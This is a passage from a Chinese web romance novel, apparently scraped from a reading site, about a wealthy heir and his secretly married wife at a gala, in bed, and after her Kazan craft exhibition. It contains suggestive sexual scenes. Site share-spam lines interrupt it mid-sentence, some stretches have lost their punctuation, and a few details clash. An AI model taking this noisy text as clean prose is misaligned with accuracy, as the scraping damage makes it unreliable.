男人高大挺拔的身影逼近,带着满满的力量感,身躯肌肉蓬勃,荷尔蒙逶迤而来,她轻轻“唔了一声,还没继续说,红唇就落下烈炽的吻。
他气息滚烈,带着几分惩罚的意味,咬她红唇,几次辗转便让她心神失守,傅蔺征抵开齿关,愈发强势,浑坏扫荡。
她大脑像是放入破壁机的小橙子。
女人一身白绒外套,松松披在她白皙的肩头,银蓝色鱼尾长裙贴在身上,勾勒窈窕身材,她一米六三的身高不算矮,但在逼近一米九的傅蔺征面前真就娇小如猫一般。
气息交错糅杂,酒精味和梨子清甜相织,男人把她往怀中压得更加严丝合缝,带着薄茧的粗粝掌心按着她蝴
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
蝶骨,带着酥意从后脊背升起。
周围无人经过,酒会大厅的交谈声如隔了层布,缭绕在耳边,昏暗的灯影下,落地窗透进几缕霓虹,氤氲出几分不可说的暗昧。
没人知道他们在这里。
谁能想到,众人趋之若鹜攀附、站在顶峰的傅太子爷,此刻正把一个娇柔婉媚的女人压在这里亲得昏天黑地。
容微月像烤箱里的巧克力蛋挞,感觉眼里心里只剩下他,双手被抵在他紧鼓的胸膛,指节无措轻揪他衬衣,心跳炸耳,软声呜咽像小猫咪乞怜。
“傅蔺征……”
她求饶,傅蔺征这才停下,高大的双倍体型差身影如一道墙压下,气息沉沉,盯着她,扯唇打趣:“宝宝,我是领导是吧?”
“……”
他似笑非笑:“说说看,昨晚你在领导chuang上是怎么扌丑怎么叫的?哪个领导能让你上天啊?”
她听这些话,耳根如放在烤盘中。
这人怎么这么浑……
鼻息氤氲进男人身上冷冽的雪松和琥珀味道,是她最近刚给他买的CliveChristianXforMen男士香水,冷拽又桀骜的气息,勾得她乱了。
傅蔺征咬她耳垂,偏坏:“叫别人哥哥,叫我领导,嗯?你看老子回去怎么收拾你。”
容微月耳垂被他薄唇吐出的热气烫到发麻,软声求饶解释:“他就是我小时候一个玩得好的哥哥,长大后都没什么联系了,而且刚刚周围都是人,我又不敢公开我们的关系嘛……”
他轻轻捏她脸:“容微月,你打算把我藏到什么时候?老子等了六年好不容易娶到你了,还得藏着掖着?”
容微月被他指腹挲的脸颊塌陷下个圆圆的酒窝,眨着眸子软声哄他:“那今晚确实不合适呀,你很想官宣呀?”
“不然呢,就想在你旁边宣誓**,不让其他人觊觎你,省得哪个哥哥哪个弟弟又冒出来。”
傅蔺征性格就和低调不沾边,高中那时候就恨不得全校都知道他们在谈恋爱,他的爱那么热烈直接,恨不得昭告天下。
容微月垫脚亲亲他的脸,笑音轻软:“反正我们有合适的机会就公开好不好?才没有其他的哥哥,大狗狗,你怎么那么爱吃醋啊?大醋坛子。”
男人掐住她,俯身再度封住她的呼吸,呼吸沉沉,哑声道:“我都没有牵过你的手去幼儿园。”
他吃醋,有人比他那么早之前就见过小微月,小时候她一定很可爱,如果他从小就认识,肯定会从小喜欢她,保护她,一直到成年,再一口吃掉,从竹马变成先生。
他吃醋,和他的宝宝还是认识得太晚了。
容微月闻言心头发软,
听说看这本书的人都是很幸运的,分享后你的运气会更棒
眼睛弯弯哄他:“那时候我们还不认识嘛你现在不是天天牵着我的手?”
“那也少了十几年。”
男人的吻游离到她耳垂沉喘伴随吮燎起她最耳垂远处的人们交谈声时远时近她心惊肉跳:“傅蔺征别亲了等会儿被人看到了……”
“没人怀裕在外面盯着。”
“……”那她也不好意思呀……
傅蔺征重新吻上她旁边若有个房间他早就把她扛进去了不给她半点逃路。
如被烘烤的焦糖布丁容微月快要站不稳眼睫翩跹感觉到危险感铺天盖地而来脸颊发红:“傅蔺征别亲了我、我要……”
“嗯?你要什么?”
她面颊通红轻声说了那偏旁带三点的字傅蔺征呼吸骤沉:“宝宝怎么回事啊在外面亲了会儿就受不了了?喜欢这种?”
小猫抓着他衬衫小声喵喵。
若不是酒会马上要开始她好想要和他……
反正她骨子里有多坏都大胆他都知道。
但是这场景实在不合适傅蔺征消失太久肯定惹人怀疑她还是推开他羞赧道:“别闹了傅蔺征你赶紧缓缓……”
傅蔺征扯松了领带黑眸浑浊盯着她22.5野性拉满估计很快想交了。
谁看了会不脸红。
男人硬生生压下燥意喉结滚动像狼被强行勒住缰绳只能看着眼前的小兔子。
容微月也拿出包里的镜子见口红都没了耳朵红通通一片气鼓鼓控诉:“傅蔺征下次你叫我我不理你了。”
她赶忙补了口红谁知道刚补好男人又低下头浑坏吻过来。
她气得咬了他一口羞瞪他:“傅蔺征你坏**你再这样我今晚不跟你回家了。”
惹得小猫咪炸毛溜走他低笑出声慢条斯理整理衣着。
过了会儿缓好往外走回到大厅前排落座长腿随意交叠姿态懒散夏斯礼看到他薄唇发红破了皮渗出血野性张扬像是一场放肆过后的印记。
夏斯礼眯了眯眼觉得不太对劲:“傅蔺征你嘴唇怎么了啊?你刚刚去干嘛了?”
男人把玩着手腕的黑绳手链舌尖舔了舔唇上的血语调慵懒道:“没干嘛被老婆咬了好爽。”
“……???”
夏斯礼差点没喷出一口酒:**这人要不要这么嘚瑟!
眼瞧着这人刚刚消失了十五分钟敢情就是在亲亲?呵呵活该被咬!
过了会儿酒会正式开始。
先是澄华基金的创始人上台致辞容微月抬眸看到坐在前排中心的傅蔺征男人交叠着腿周身慵懒松弛
你的朋友正在书荒,快去帮帮他吧
虽轻,但周旋其中仍然游刃有余,谈笑风生,与生俱来的冷拽气场令人生畏。
能驰骋赛道,又能在商界驰车风云,如今更是逐步接手明恒的掌舵权,一开始还有人不服,但外界看到他比傅司盛更加狠辣果决的手腕和成绩后,全都闭上了嘴。
他们隔了两排,她还能听到傅蔺征在和旁边几个法国宾客用法语交谈,嗓音低磁格外有质感,他侧脸冷拓分明,不苟言笑,谁曾想到他刚刚还在昏暗处缠着她深吻不休,反差感让人心酥。
致辞后,晚宴开始,大家自由交谈。
过了会儿圣嘉煜忙完来找容微月,温声问:“微月,我刚刚了解了一下你们工作室的工艺,很有潜力,过几天我带你去见一些圈子里的朋友,他们挺好的。
容微月愣了愣,还没来得及回答,就看到傅蔺征走过来,语气冷淡带笑:
“圣先生,过几天倒也不必着急,今晚来到现场的有几位重量级的手工艺品投资人和收藏家,还有北美一家文化基金的文化人,他们有意想推广中国非遗,容小姐,你跟我一起过去么?我带你去见见。
他开口轻描淡写,却分明是在托举她,傅蔺征能接触到的自然是最顶级的人脉,面对他们圣嘉煜还没资格把容微月轻易引荐过去,但那些人巴结要巴结的人是傅蔺征,男人便可以轻而易举为她搭桥。
圣嘉煜闻言脸色微僵,莫名有种被截胡的不爽,含笑打趣:“傅总您对这是对月月格外提携啊?
傅蔺征扯唇:“合作过,容小姐很优秀,当然配得上这些人脉。
圣嘉煜怔了怔。
容微月也实在怕这暗流涌动的氛围,朝圣嘉煜温声道:“那嘉煜哥,我先和傅总去。
“……好。
俩人往前走,容微月小声问傅蔺征:“你到底带我去哪儿啊?
男人揶揄:“真去认识人,你以为又去接吻啊?我的便宜你也不能老占啊。
“……
而后容微月知道傅蔺征说的是认真的,
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他以合作过的关系为她引荐了许多人脉,容微月温和大方地与前辈们交谈,得到不少欣赏,大家发自内心觉得她挺优秀,双方谈下了合作意向。
傅蔺征始终在一旁陪着,偶尔帮衬说几句,如同绿叶衬托红花,没有点破他们的关系,却像是她背后最大的支撑,大家看到他对一个饰品设计师如此上心,也很诧异,只可惜探不清实情。
一个晚上,容微月收获颇丰,傅蔺征看着她的聪慧和干练,和周围人对她的赞赏,唇角笑意浅浅,也觉得骄傲。
这是他月亮,永远都是那么光芒万丈。
结束后,两人一同从后门离开,上了劳斯莱斯幻影。
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今晚俩人都喝了酒没开车后排灯光柔和垂下容微月被傅蔺征搂住开心讲着今天收获“老公真好给我这么好的人脉。”
男人桀骜挑唇把玩着她左手的婚戒意味深长道:“你想要什么是我给不了的啊?”
她脸红弯眉“嗯你都能给我最好的。”
无论哪一点她都不需要去羡慕其他人。
回到家玄关灯影昏黄一走进去刚换好鞋傅蔺征把她压在玄关处的柜子前眼底幽深瞬间攻击性拉满嗓音低哑:“回到家了是不是该秋后算账了?”
容微月心跳怦怦“你还记得……”
他咬她耳朵:“宝宝我记忆力当然很好关键还特别记仇。”
他继续问她害羞却忍不住垫脚主动圈住他:“你想怎么算就怎么算……”
她如此主动一瞬间就像扔了把火。
傅蔺征俯身就把她了起来。
一路走去卧室鱼尾裙和西装大衣被地面接住深蓝色领带和四角缠在她的裙摆中热烈凌乱。
容微月跌落随后被牢牢笼罩男人席卷着强大力量的身躯把娇小的她困在怀中如溺进深海。
窗外夜色朦胧
“叫什么?”他掐住她腰低声逼问唇齿轻咬。
她耳根微红软声撒娇:“老公……”
夜色如墨窗外的霓虹光影被风吹得摇曳点点洒进来两人愈发陷溺忽而容微月的手机突兀地响了起来。
格外不会挑时间。
她怔了下扭头去看发现是圣嘉煜。
不知道对方深夜来电有什么意思傅蔺征吻着她没让她接谁知道那头又打来一遍。
傅蔺征脸色黑沉如炭笑意森冷:
“大半夜的他几个意思?”
她脸颊通红“会不会是找我有什么急事……”
傅蔺征眼底掠过一抹兴味俯身吻她“行你接吧。”
她犹豫后接了电话:“喂嘉煜哥。”
谁知道话音未落小猫咪就被翻了面。
男人双手撑在她两侧宽大的身躯而覆横亘有力的手臂把她牢牢笼罩住将她圈进阴影里。
突然毫无预兆。
窗外光影散去房间很暗容微月呆住心口炸开脸埋进枕头里眼尾红通通的。
这人怎么能……
她脑中嗡嗡就见傅蔺征把电话按了免提那头圣嘉煜的声音传来:“月月这么晚打扰你了你休息了吗?”约葛
傅蔺征毫不留情她面色酡红想到之前做过的手工糯米麻薯被不断地捶她指甲揪着竭力稳住问话的声音:
听说看这本书的人都是很幸运的,分享后你的运气会更棒
“嗯,没有……有什么事吗……”
那头传来圣嘉煜的笑声:“没什么事,就是好久没联系,今晚我太忙了,也没能和你聊上几句,月月,我们还是和以前的关系一样好对吧?咱们可不能生分了。”
容微月想静音,傅蔺征却不让她碰到手机,磁沉含笑的嗓音贴在她耳朵旁:
“宝宝,专心和他打电话啊,别扌丑。”
他浑坏无比,她羞鼓鼓,偏偏还故意气他,声音软糯:“嗯,嘉煜哥,我们、我们当然还和以前一样了,你是我最好的哥哥了。”
她话落,就遭来比刚才更为严重的惩罚。
傅蔺征眼底沉下,醋意瞬间爆了。
窗外夜色深沉,远处的车灯与霓虹交错闪烁,透过半掩的窗帘投下支离破碎的光影。
小猫咪不禁喵了下,电话那头圣嘉煜有些疑惑:“月月,你怎么了?”
傅蔺征掐住小姑娘,故意贴在她耳边问:“嗯?怎么不说话啊宝宝?”
容微月没想到他能这么坏,面颊炸开番茄,那头圣嘉煜更觉得奇怪:“月月?”
她只能胡诌:“我、我就是在洗脸呢……”
傅蔺征轻笑声传来,惹得她脸红。
她从来也不是个胆小的,也故意反作用回去,惹得他气息更沉。
圣嘉煜在那头还在继续:“对了月月,我还是想给你介绍一些人脉,对你工作室应该还有帮助,我觉得你会想见的,另外我觉得很奇怪,你和那个傅总关系怎么样?他还挺帮衬你的,但我建议你还是要离他远一点,不要被他利用了,他那样的人,平时高不可攀的,怎么会对你一个饰品设计师这么上心?”
他当然不止对她上心。
他现在还在上……
圣嘉煜深吸了口气,温柔道:“月月,其实我这次回来,也是想和你有更多联系,我们都单着,也知根知底的,所以我觉得我们可以多点交集……你是怎么想的?”
容微月被傅蔺征十指紧扣,她所有的醋意都化作最直接的宣誓。
断了线的珠子四处散落,溅起,容微月红唇被贝齿咬得发白,眼尾氤氲,在即将溢出哭声的前一刻,手机被身后的男人摁下静音。
傅蔺征铺天盖地的吻迎面而来,黑眸如泼了墨,快要炸。
小猫咪被他翻过来,傅蔺征取消手机静音,缓了气息,沉哑直接开口:
“沈先生,我是傅蔺征。”
电话那头突然一阵死寂:……嗯?!
傅蔺征看着怀中睫毛挂着泪珠的小姑娘,似笑非笑,慵懒扯唇:
“这么晚了,我刚在哄我太太睡觉,你找她有事么?”
圣嘉煜:?!!!
〓作者有话说〓
傅蔺征,你确定是哄睡吗??[狗头]
今天又给他嘚瑟到了!!圣嘉煜:喂我花生[爆哭]
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第 59 章 “她是我十八岁就想娶的人。”...
第59章第五十九章
【“她是我十八岁就想娶的人。】
chapter58
那头的圣嘉煜怎么也没想到,会在电话里听到傅蔺征低沉冷哑的声音,他大脑像是劈下一道惊雷。
……太太?!!!!
在圣嘉煜眼中,他和容微月的家境在京市也算殷实的,但跟傅蔺征这种所在的顶级财阀世家完全不是一个级别。
今晚他确实看出傅蔺征对容微月不同寻常,但他始终觉得,那也许只是领导对下属的别有用心,可现在他才知道——他们竟然是夫妻关系。
他大脑一团乱麻:“傅总,您、您和月月结婚了……
傅蔺征看着白若糯米团子的小姑娘此刻软绵绵地缩在他怀中,微乱的黑发铺散在身后,澄澈无辜的杏眸羞赧胭红,咬着他婚戒的小贝壳还在噗。
又清纯又像狐狸,这一面只有他能看到。
男人骨子里顽劣的占有欲爆棚。
傅蔺征把手机开了免提,随意放到耳边,气息沉沉,指尖反复捻着,扯起唇角:
“月月想低调点,我们的关系还没公开,今晚她调皮就在圣先生面前表演了下,我会教育她的。
小猫咪紧紧抓住他的手臂,快要窒息,面颊泛起的红晕像锅里煎烤的桃子饼似的,忍不住气鼓鼓咬了他口手腕。
呜呜呜这人坏**……
听到傅蔺征的话,圣嘉煜脑袋嗡嗡作响。
本来他这次回京还想追求容微月的,但他知道自己和傅蔺征的差距,俩人根本不是站在同一个起跑线上,更讽刺的是,他刚才恶意揣测过傅蔺征的用心,甚至差点当着他的面和容微月告白。
又忐忑,又尴尬,圣嘉煜心里五味陈杂,突然说不出话,傅蔺征感觉到怀中的小姑娘打翻了柠檬水,埋在他肩头,他眼底黑墨翻起,喉结滚动,已然没了任何兴致应付其他人:
“圣先生,没什么事就先这样,我和月月还要早点休息。
圣嘉煜那头机械地应了声,傅蔺征挂了电话,把手机扔到了旁边。
他重新搂住小姑娘,气息沉沉铺天盖地落下,只想把她牢牢笼罩住:“宝宝,你怎么回事,和人打电话就这样啊,这么喜欢?
平时就已经让人炸了。
今天更快到他意外。
容微月都没想到这人这么大胆,想埋起来,羞嗔他:“他肯定听到了……
傅蔺征俯身咬她耳骨,气息发炽:“听到又怎样,谁让他胆子那么大,敢来觊觎我老婆?
被说是领导,他都醋一晚了,站在她身边连名分都没有,没想到还有人敢贴脸跳上来。
他怎么可能无动于衷。
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她又咬了他一口,“不理你了,坏狗狗。”
傅蔺征低笑了声,坐起来靠在床头,他身上覆了层薄汗,宽肩窄腰,鼓蓬的胸肌下,副机和人鱼线鲨鱼线线条如雕刻般,那冷欲的黑痣跳跃,在和她打招呼。
她脸瞬间红了。
谁看到这样的他能撑得住……
他转眼看她,眼皮黑痣半挑起,哑声轻蛊:
“宝宝,过来好不好?”
容微月心间如同小蚂蚁在啃咬桃酥一样,几秒后还是忍不住挪过去。
下一刻,她就被他抱在怀中。
她脑袋高过他头,男人一手抚着她腰,婚戒再度塌陷,吻热陷向她,爱意快要触达心脏。
她脑中已然找不到方向感,声音甜度和哭腔程度很高,“傅蔺征……”
他抬头啄她下巴,哑声问:
“喜欢么?”
容微月咬唇说实话,“喜欢。”
过了会儿她缩在他怀中,傅蔺征亲亲她的脸颊,哑声夸赞:“宝宝今天能吃三木艮,好厉害啊。”
她小口呼吸,害羞咕哝:“我都没问题的。”
有了他以后,这些当然不在话下……
傅蔺征笑了,黑眸直勾勾停在她眼前,“那还要不要?”
她眼睫翩跹,乖乖承认:“要……”
他俯身,指尖与她十指相扣,薄汗从下颌滴落在她肩头,整个人沉入柔软被褥,低声在她耳边哄诱:
“宝宝,抱紧我。”
窗外夜色茫蒙,灯火被雾气晕开,徒留城市的灯火在远处闪烁,点点如星。
-
翌日,窗外天明澄澈,深冬的暖阳升起,洒下灿烂的日光,照亮房间。
早晨七点多,傅蔺征先醒了,看到怀中的小姑娘还在熟睡,她面容白皙清柔,阖着眼眸,纤长浓密的睫毛盖在眼睑上,像个白绒绒的小**球。
每天早晨睡醒看到的第一眼就是她,这就是人生中最幸福的时刻。
他心口柔软塌陷,轻轻在小姑娘脸颊落下一吻,又给她掖好被子,而后起身去收拾房间。
洗漱完,他走出卧室,喂完呼呼,出门去训练。
容微月醒来时,已经九点多了。
她翻了个身,感觉到身上酸度过高,跟白萝卜干泡醋一样,紧接而来的,是昨晚的画面。
呜呜呜疯子……
傅蔺征就是狗……
一开始她还很喜欢,可是后来她累到进入休眠模式,傅蔺征一边嘴上温柔sweettalk哄她,一边变本加厉哐哐哐。
就没见过那么变态流氓的……
容微月缩进被子里,点开手机,看到今早圣嘉煜又给她发来了几个人的名片,还有一则短信:
【月月,我不知道你和傅蔺
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
征结婚了,抱歉,我希望我们还是兄妹,我给几个朋友都推了你的工作室,他们对你的花丝镶嵌感兴趣,你加一下。】
昨晚睡了一觉,今早圣嘉煜冷静下来,知道自己也没有任何可能,还是选择祝福,毕竟这是从小看着长大的妹妹,他从心底也是希望她过得幸福快乐。
容微月心里愧疚,回去信息和他道歉:【嘉煜哥,是我昨天应该私底下和你说一声的,改天你有空,我和傅蔺征请你吃饭。】
圣嘉煜:【没事,我能理解,就是确实挺惊讶的,你们是最近在一起的?】
容微月:【高中就谈恋爱了,后来因为一些原因分开又复合了。】
圣嘉煜听着,也能感觉到他们的感情很深。
圣嘉煜:【祝你们感情长长久久,还有帮我和傅总道个歉,我怕他记恨我[捂脸]】
容微月弯起唇畔:【没事,他不会的。】
昨天的事傅蔺征的确没有放在心上,后来傅蔺征和圣嘉煜在工作上还有些交集,前者甚至给他介绍了人脉,圣嘉煜也渐渐明白外界许多对他诸多偏见,对他真心觉得佩服。
挂了电话,容微月拖着疲倦酸软去洗漱,手机进来傅蔺征的电话,她接起,那头低沉温柔的嗓音传来:“宝宝醒来了吗?给你买了你喜欢的上汤小云吞和糯米甜汤在桌上,记得吃。
哼,昨晚那么过分,现在知道弥补了。
她语气故作冷淡:“不吃。
那头一身红黑色车服,倚着赛车,等待工程师来检查,闻言早就聊到了她今早醒来会是这态度,低笑调侃:“怎么了?身上很酸?
“我都爬不起来了……
容微月声音不自觉带着娇意:“我要是又得去看中医你就等着吧,反正今天一整天你都别和我说话了。
傅蔺征笑了,低声哄:“我错了,那怎么样才能原谅我?
她扎着丸子头:“深刻反省,形成书面报告,再用行动补偿,具体的自己想去。
半个小时后,容微月手机陆陆续续叮咚了好几下。
拿起来一看——
是几条银行交易信息。
【您尾号1139账户于10:35收到尾号1208的转账13,140,000.00元,当前余额:2,393,476,200.00元。】
傅蔺征发来信息:【宝宝,我错了,我昨晚不应该哄你在地毯上像小猫一样跪那么久,你一直摇尾巴好会钩引,但我应该收敛点,不该让你把地毯弄shi。】
容微月:……?
【您尾号1139账户于10:37收到尾号1208的转账52,000,000.00元,当前余额:2,445,47
你的朋友正在书荒,快去帮帮他吧
6,200.00元。】
傅蔺征:【宝宝,我错了,我昨晚不应该抱着你走那么快,还把你按在窗户上,你说好喜欢,我就让你三分钟来了两次。】
容微月:????
【您尾号1139账户于10:39收到尾号1208的转账1,999,000,000.00元,当前余额:4,444,476,200.00元。】
傅蔺征:【宝宝,我错了,我昨晚想抱你去洗澡来着,但是你撒娇说还没吃饱,我就又抱你在浴缸里来了,都怪我定力不够。】
容微月:……!!!
随后男人发来语音,嗓音格外诚恳:“宝宝,我这个认错态度还可以么?错误我已经深刻认识到了,但是下次还会再犯呢。
“……
这人怎么能这么流氓!!
整张脸都被惹得红通通的,容微月被气笑了,说不过他这些客观事实,一怒之下把这人拉黑。
心口窝着气,容微月拉着殷绿去狠狠购物了下,打算花光这男人的“赔罪费,结果刷到手软也没能成功。
傅蔺征的钱就像他的精力一样。
用不完,根本用不完QAQ.
殷绿得知此事笑个不停:“容微月我都羡慕死你了!晚上有人伺候,白天还能让你各种买买买,有钱有爱还有快乐,这是什么神仙日子!
多少人羡慕也羡慕不来啊!!
晚上容微月本来想去殷绿家,和她闺蜜夜话,谁知道后来傅蔺征和湖安一并上门,给她们买了很多夜宵和甜品。
这两天殷绿已经答应湖安的追求,俩人正式在一起了,四人围坐在客厅边吃边聊,湖安给殷绿剥着虾,俩人欢声笑语格外甜蜜,过了会儿傅蔺征搂住容微月,嗓音低磁不爽道:
“老婆,我们也回家,好不好?什么时候我们轮到要看别人秀恩爱了。
殷绿和湖安笑,殷绿:“月月,看着傅蔺征挺可怜的份上,就原谅他吧。
容微月压下唇角,也觉得不合适再当电灯泡,就先离开。
傅蔺征牵着容微月进了电梯,她瞥了他一眼:“我看你是故意叫湖安过来的吧?知道我不回去,就从殷绿那边下手,太腹黑了。
傅蔺征搂住她,眉梢挑起:“需要我叫么?他俩现在恨不得黏在一块儿,这么晚我们再不走不是影响他们的二人世界?
容微月咕哝:“他们还没到那一步呢,绿绿说湖安都很老实的哦。
听着她揶揄,傅蔺征眼皮上的黑痣散漫挑起,黑眸灼灼看着她:“不好意思,那我和湖安不一样,和你在一起第一天老子就想要。
他坏得毫不遮掩,她脸颊泛红:“那时候我们还在读书
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呢……”
“所以我不是忍到毕业后?”
“……”
走出电梯容微月道:“反正你最坏了人家比你绅士多了。”
她声线细软听起来就像是撒娇傅蔺征狭长黑眸笑意更深“在你面前怎么绅士?而且你不就喜欢我坏么?第一个晚上是谁主动送上门的告诉我有个二十四小时便利店?”
回忆浮现脑中调皮的小猫咪试图装乖失败她面色爬上红晕笑着要逃走。
晚上回到家傅蔺征倒也没再来怕她真不舒服只和她躺着聊天。
容微月说下周要出差去俄罗斯喀山这几天他们已经把和漆画厂所有联名饰品赶工完了现在在质检没问题后下周送往喀山饰品要先参加俄罗斯传统工艺和文化融合展会接下来再上线中俄两国的电商平台。
这段时间大家共同努力了这么久现在是该交答卷的时候了。
容微月不禁畅想:“我希望通过这次合作能有更多人知道我们中国的花丝镶嵌工艺既能帮助漆画厂还清债务也能帮助晴月阁继续走下去多赚一点钱最好一单吃一年的那种。”
傅蔺征笑摸摸她的头:“我太太这么厉害肯定可以。”
他相信她的实力也会竭尽全力地托举她让她看更远的世界。
几天后容微月启程去往去喀山临行前一晚傅蔺征给她收拾行李接下来几天他在京市要参加个金融峰会这次不能陪她同行。
给她准备了厚大衣、围巾和保暖的东西还备了感冒药和肠胃药生怕她不舒服各种叮咛嘱咐。
容微月弯眉:“傅蔺征你怎么这么黏人啊?谁当初还调侃我的?”
傅蔺征勾唇吻着她眉眼吊儿郎当道:
“黏我老婆不是名正言顺?”
失而复得的小姑娘每一天他都格外珍惜想陪在她的身边。
容微月笑:“我去三天就回来了每天我们都打视频实在不行你就每天晚上看看我们的结婚证和合照
她说都能想象到他晚上坐在床头翻看照片的画面说不定还要边看边抹眼泪可爱**。
傅蔺征气笑咬了口她耳垂“等着三天后回来再叫你补偿。”
第二天傅蔺征送容微月去机场同样是头等舱飞去落地还是当初的小张接待。
这次随行的是舒槿吕丹还有另外一个推广部的员工轻车熟路抵达漆画厂后那些联名饰品已经提前送来运送过程一路顺畅东西也没受损。
展会前一天晚上大家帮忙布置着展台漆画厂的员工们和娜佳的舅舅叶夫根尼都很紧张不知道明天会如何
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
叶夫根尼一边叹气,一边絮叨:“我们把厂子全部的希望都押在这批饰品上了,万一这次失败了,厂子就彻底没了,我现在都后悔了,怎么能冒这么大的风险。
娜佳轻拍着怀中熟睡的女儿,柔声道:“舅舅,走到这步了我们就该有点信心,我相信微月小姐,这次的饰品你也看到了,我们的漆画和他们的花丝镶嵌结合的设计真得很漂亮。
“我当然也觉得漂亮,叶夫根尼看向容微月,“容小姐,你有多少把握?你怎么看过去一点都不紧张?
容微月正在和那位截肢的老奶奶学漆画,地陪翻译后,她提起唇角,柔声道:“我也没有十成的把握,但我相信我们对待饰品的诚心会有人看到的。
天道酬勤,全力以赴,就一定会有收获。
第二天早晨,展会拉开序幕。
一大早容微月就收到了专人送来的一大捧清新淡雅的风信子,风信子寓意着新生和希望,她看到上面的贺卡:
【跨越寒冬,春暖花开,祝我的宝贝首展成功,一切皆可心想事成。——傅蔺征】
容微月看着,腼腆弯唇。
果然是她的周到先生。
舒槿等人看到都感慨浪漫:“傅总人没到,但是心意一点没少。
容微月把花的照片发给了傅蔺征,说谢谢他的祝贺,傅蔺征让她安心忙,有任何情况随时找他。
九点整,展会开始后,涌进来许多人,来自各国工艺圈的专业人士、商家和买手,以及媒体记者汇聚一堂。
不一会儿,他们的展区就吸引来了许多目光。
这次他们一共做了五款高端轻奢首饰系列,主题取为“Новоерождение(新生),包含了戒指、项链、耳环等饰品,其中最受瞩目的,是名为“涅槃
容微月和娜佳耐心接待着来宾,也欢迎大家试戴,许多都被饰品惊艳到,连连夸赞。
中外记者也前来采访:“容小姐,您为什么会选择‘新生’作为这次系列饰品的主题?
容微月柔声言:“因为在当今这个时代,许多传统工艺和现代审美出现了强烈碰撞,很多老牌工厂和工艺都被淹没在时代的浪潮中,我们坚守传承的同时也要创新改变,去适应潮流,漆画和花丝镶嵌,一个来自俄罗斯,一个来自中国,我们都经历过困境和危机,但只要彼此携手,就能涅槃重生,创造新的可能。
镜头里,容微月一身清雅古典的水蓝色旗袍,身姿清柔,眼眸真挚澄净:“对
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我们来说工艺不单单是技艺它更是人与人之间连接的纽带
话音落下周围响起许多掌声许多人心生赞叹。
接下来的两天他们的饰品热度节节攀升远超预期多家来自世界各地的百货商场、电商平台和买手签下订单国内一个奢侈品的电商平台也和他们达成了合作同时许多媒体记者和电视台都报道了这次合作特别是国内的主流媒体也宣传了此事。
这无疑是一场非常漂亮的胜仗。
按照这次所达成的交易额来看漆画厂的债款可以一次性还清还多了许多资金可以用于未来工厂的运转员工们得知此事忧心忡忡的脸上终于露出了久违的笑容拥抱在一起喜极而泣。
娜佳和叶夫根尼也很感谢容微月叶夫根尼说一开始他还没有信心是容微月的坚持拯救了他们厂子。
容微月:“这不是我一个人的功劳是我们两个工厂每个员工共同的努力还好我们都勇敢跨出了这一步。”
叶夫根尼感动点头娜佳打趣:“我们要准备开始招工了连夜大量生产不然都忙不过来了。”
现在的日子彻底有盼头了。
展会结束后好消息也传回了晴月阁内部工作室里也一片欢腾有人说未来一整年大家都不用担心效益了舒槿激动:“收拾收拾我们准备升咖了微月姐说我们接下来也要扩招员工了咱们再也不是小破工作室了!”
容微月笑笑说还不能高兴太早看下周的线上零售反馈如何这才是打响知名度的关键。
于此同事容微月也收到了容承业和盛柳发来夸赞的信息他在国内一直关注着这件事在手机里看到女儿的采访那一刻真的知道原来她已然羽翼丰满格外优秀。
两人让她好好休息她应下等人也飞回京市登机前她给傅蔺征发了信息。
其实这次展会傅蔺征也帮了她许多忙他上一周联系了几个国内外媒体还为她亲自写了推荐信给国内的几个大电商平台为她背书没有提及他们的关系却是用他的名字为她担保。
一开始容微月不好意思觉得自己不能结婚了就靠着他可傅蔺征低笑说她傻柔声道:“我们结婚了我的不就是你的?好风凭借力最后能飞多高还是要看你自己你就安心往更高处飞只要知道不管你到哪儿我永远都可以接住你。”
容微月鼻尖泛酸感动最后也坦然接受了这份支持。
十几个小时后飞机落地首都国际机场。
正值傍晚天空飘起了细小的
听说看这本书的人都是很幸运的,分享后你的运气会更棒
雪花,世界一片莹白素净,和员工们道别,容微月往停车场走去,雪花无声落在她身上,半晌抬头就看到朝她走来的傅蔺征——
男人一身黑色羊绒长款大衣,踩着黑色短靴,身型挺拔修长,周身气场强大,深邃锐利的黑眸单单落向她,带着浓烈的爱意。
多日不见,容微月满心欢喜跑过去,就被他稳稳抱起来转了一圈,她圈住他的腰,被他的大衣裹在怀中,仰眸灿烂地看着他:“阿征,我回来了。”
傅蔺征勾唇抬手捏捏她的脸:“检查一下,瘦了没有?有没有感冒?”
“没有,我这几天穿得可厚了,也有好好好吃饭,”她朝他眨眨眼,“你想我了吗?”
他黑眸直望过来,带着极大的侵略性:“你说呢?全身上下,都在想你。”
她羞,“我看你指的是那些地方……”
傅蔺征坏得追问,“嗯?哪些地方啊?”
把她牵着走到黑墨色的帕加尼旁,傅蔺征视线逼下,把她圈住:“那宝宝想我了么?”
“没有……”她口是心非。
傅蔺征舌尖抵腮轻笑,“容微月,你今晚不想睡了是吧,想好了再回答。”
容微月圈住他的脖子,笑颜乌浓如月:“没有啦骗你的,才三天就很想你了。”
傅蔺征心底翻滚,把她往怀中抱得更紧,扣住她后颈,忍不住俯身送去热烈的气息。
她阖上眼眸,主动回应。
半晌傅蔺征停下,沉沉呼吸,哑声贴在她耳边,低哑道:“我们回家换个姿势再亲。”
小姑娘脸颊泛起热度,傅蔺征立刻拉开车门,让她上了车。
帕加尼驶离,却没有注意到,不远处有人正在拍照。
傅蔺征订好了一家高级的粤菜餐厅,先带容微月去饱餐一顿,才带她回家。
而于此同时,几张照片已经传到了网上。
照片的发布者只是个普通网友,配文说:
【刚在机场停车场偶遇到一对情侣,这雪景氛围绝了,像在拍电影啊啊啊。】
画面定格在天色即将落幕的雪夜之中,一个身型高大拓落的男人正将一个女人压在一辆黑色超跑前亲,女人娇小得被他的大衣完全裹住,整个人都缩进他怀里,男人低头俯身索吻,霸道强势,绵长却满了爱意。
漫天雪花纷飞,仿佛天地间只剩下他们两人,画面唯美的像剧照一样。
因为隔得太远,照片有些模糊,只能依稀看清男人轮廓分明的面容和女人的半张侧影,但一眼看过去就是俊男美女。
底下网友激动:【一开始以为是哪个电影的剧透,还想说内娱什么时候吃这么好了,然后告诉我这是路人真实抓拍?啊啊啊我直接尖叫!】
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【好帅的跑车,好浪漫的雪景,这真的不是摆拍吗?男女身材都好顶啊。】
网友们都被惊艳到了,说这俩人张力也太足了,好多人直呼好甜,随后又有眼尖懂车的人认出了这车,是布加迪全球限量版,全内地目前就一辆。
